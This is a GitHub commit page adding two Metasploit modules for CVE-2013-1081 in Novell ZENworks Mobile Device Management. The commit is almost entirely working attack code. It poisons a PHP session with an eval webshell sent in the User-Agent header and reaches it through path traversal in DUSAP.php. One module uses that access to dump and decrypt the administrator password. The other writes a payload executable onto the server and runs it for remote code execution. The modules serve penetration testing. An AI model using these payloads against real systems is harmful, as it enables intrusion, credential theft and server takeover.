Skip to content

Commit ed4766d

Browse files
steponequitsteponequit
committed
initial commit of novell mdm modules
1 parent cb33c56 commit ed4766d

File tree

2 files changed

+217
-0
lines changed

2 files changed

+217
-0
lines changed

‎modules/auxiliary/scanner/http/novell_mdm_creds.rb

Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::Report
14+
include Msf::Auxiliary::Scanner
15+
16+
def initialize
17+
super(
18+
'Name' => 'Novell Zenworks Mobile Device Managment Admin Credentials ',
19+
'Description' => %q{
20+
This module attempts to pull the administrator credentials from
21+
a vulnerable Novell Zenworks MDM server.
22+
},
23+
'Author' =>
24+
[
25+
'steponequit',
26+
'Andrea Micalizzi (aka rgod)' #zdireport
27+
],
28+
'References' =>
29+
[
30+
['CVE', '2013-1081']
31+
],
32+
'License' => MSF_LICENSE
33+
)
34+
35+
register_options([
36+
OptString.new('TARGETURI', [true, 'Path to the Novell Zenworks MDM install', '/']),
37+
OptInt.new('RPORT', [true, "Default remote port", 80])
38+
], self.class)
39+
40+
register_advanced_options([
41+
OptBool.new('SSL', [true, "Negotiate SSL connection", false])
42+
], self.class)
43+
end
44+
45+
def setup_session()
46+
sess = Rex::Text.rand_text_alpha(8)
47+
cmd = Rex::Text.rand_text_alpha(8)
48+
res = send_request_cgi({
49+
'agent' => "<?php echo(eval($_GET['#{cmd}'])); ?>",
50+
'method' => "HEAD",
51+
'uri' => normalize_uri("#{target_uri.path}/download.php"),
52+
'headers' => {"Cookie" => "PHPSESSID=#{sess}"},
53+
})
54+
return sess,cmd
55+
end
56+
57+
def get_creds(session_id,cmd_var)
58+
59+
res = send_request_cgi({
60+
'method' => 'GET',
61+
'uri' => normalize_uri("#{target_uri.path}/DUSAP.php"),
62+
'vars_get' => {
63+
'language' => "res/languages/../../../../php/temp/sess_#{session_id}",
64+
cmd_var => '$pass=mdm_ExecuteSQLQuery("SELECT UserName,Password FROM Administrators where AdministratorSAKey = 1",array(),false,-1,"","","",QUERY_TYPE_SELECT);echo "".$pass[0]["UserName"].":".mdm_DecryptData($pass[0]["Password"])."";'
65+
}
66+
})
67+
creds = res.body.to_s.match(/.*:"(.*)";.*";/)[1]
68+
return creds.split(":")
69+
end
70+
71+
def run_host(ip)
72+
print_status("Verifying that Zenworks login page exists at #{ip}")
73+
uri = normalize_uri(target_uri.path)
74+
begin
75+
res = send_request_raw({
76+
'method' => 'GET',
77+
'uri' => uri
78+
})
79+
if (res and res.code == 200 and res.body.to_s.match(/ZENworks Mobile Management User Self-Administration Portal/) != nil)
80+
print_status("Found Zenworks MDM, Checking application version")
81+
ver = res.body.to_s.match(/<p id="version">Version (.*)<\/p>/)[1]
82+
print_status("Found Version #{ver}")
83+
session_id,cmd = setup_session()
84+
user,pass = get_creds(session_id,cmd)
85+
print_good("Got creds. Login:#{user} Password:#{pass}")
86+
print_good("Access the admin interface here: #{ip}:#{rport}#{target_uri.path}dashboard/")
87+
else
88+
print_error("Zenworks MDM does not appear to be running at #{ip}")
89+
return :abort
90+
end
91+
92+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
93+
rescue ::Timeout::Error, ::Errno::EPIPE
94+
rescue ::OpenSSL::SSL::SSLError => e
95+
return if(e.to_s.match(/^SSL_connect /) ) # strange errors / exception if SSL connection aborted
96+
end
97+
end
98+
99+
end

‎modules/exploits/windows/http/novell_mdm_lfi.rb

Lines changed: 118 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,118 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Exploit::EXE
14+
15+
def initialize
16+
super(
17+
'Name' => 'Novell Zenworks Mobile Device Managment Local File Include ',
18+
'Description' => %q{
19+
This module attempts to gain remote code execution on a server running
20+
Novell Zenworks Mobile Device Management.
21+
},
22+
'Author' =>
23+
[
24+
'steponequit',
25+
'Andrea Micalizzi (aka rgod)' #zdi report
26+
],
27+
'Platform' => 'win',
28+
'Targets' =>
29+
[
30+
[ 'Automatic', { } ],
31+
],
32+
'References' =>
33+
[
34+
['CVE', '2013-1081']
35+
],
36+
'License' => MSF_LICENSE
37+
)
38+
39+
register_options([
40+
OptString.new('TARGETURI', [true, 'Path to the Novell Zenworks MDM install', '/']),
41+
OptInt.new('RPORT', [true, "Default remote port", 80])
42+
], self.class)
43+
44+
register_advanced_options([
45+
OptBool.new('SSL', [true, "Negotiate SSL connection", false])
46+
], self.class)
47+
end
48+
49+
def setup_session()
50+
sess = Rex::Text.rand_text_alpha(8)
51+
cmd = Rex::Text.rand_text_alpha(8)
52+
res = send_request_cgi({
53+
'agent' => "<?php echo(eval($_GET['#{cmd}'])); ?>",
54+
'method' => "HEAD",
55+
'uri' => normalize_uri("#{target_uri.path}/download.php"),
56+
'headers' => {"Cookie" => "PHPSESSID=#{sess}"},
57+
})
58+
return sess,cmd
59+
end
60+
61+
def upload_shell(session_id,cmd_var)
62+
fname = Rex::Text.rand_text_alpha(8)
63+
payload = generate_payload_exe
64+
res = send_request_cgi({
65+
'method' => 'POST',
66+
'uri' => normalize_uri("#{target_uri.path}/DUSAP.php"),
67+
'data' => Rex::Text.encode_base64(payload),
68+
'vars_get' => {
69+
'language' => "res/languages/../../../../php/temp/sess_#{session_id}",
70+
cmd_var => "$wdir=getcwd().'\\\\..\\\\..\\\\php\\\\temp\\\\';file_put_contents($wdir.'#{fname}.exe',base64_decode(file_get_contents('php://input')));"
71+
}
72+
})
73+
return fname
74+
end
75+
76+
def exec_shell(session_id,cmd_var,fname)
77+
res = send_request_cgi({
78+
'method' => 'POST',
79+
'uri' => normalize_uri("#{target_uri.path}/DUSAP.php"),
80+
'data' => Rex::Text.encode_base64(payload),
81+
'vars_get' => {
82+
'language' => "res/languages/../../../../php/temp/sess_#{session_id}",
83+
cmd_var => "$wdir=getcwd().'\\\\..\\\\..\\\\php\\\\temp\\\\';$cmd=$wdir.'#{fname}';$output=array();$handle=proc_open($cmd,array(1=>array('pipe','w')),$pipes,null,null,array('bypass_shell'=>true));if (is_resource($handle)){fclose($pipes[1]);proc_close($handle);}"
84+
}
85+
})
86+
end
87+
88+
89+
def exploit()
90+
uri = normalize_uri(target_uri.path)
91+
begin
92+
res = send_request_raw({
93+
'method' => 'GET',
94+
'uri' => uri
95+
})
96+
if (res and res.code == 200 and res.body.to_s.match(/ZENworks Mobile Management User Self-Administration Portal/) != nil)
97+
print_status("Found Zenworks MDM, Checking application version")
98+
ver = res.body.to_s.match(/<p id="version">Version (.*)<\/p>/)[1]
99+
print_status("Found Version #{ver}")
100+
print_status("Setting up poisoned session")
101+
session_id,cmd = setup_session()
102+
print_status("Uploading payload")
103+
fname = upload_shell(session_id,cmd)
104+
print_status("Executing payload")
105+
exec_shell(session_id,cmd,fname)
106+
else
107+
print_error("Zenworks MDM does not appear to be running at #{rhost}")
108+
return :abort
109+
end
110+
111+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
112+
rescue ::Timeout::Error, ::Errno::EPIPE
113+
rescue ::OpenSSL::SSL::SSLError => e
114+
return if(e.to_s.match(/^SSL_connect /) ) # strange errors / exception if SSL connection aborted
115+
end
116+
end
117+
118+
end

0 commit comments

Comments
 (0)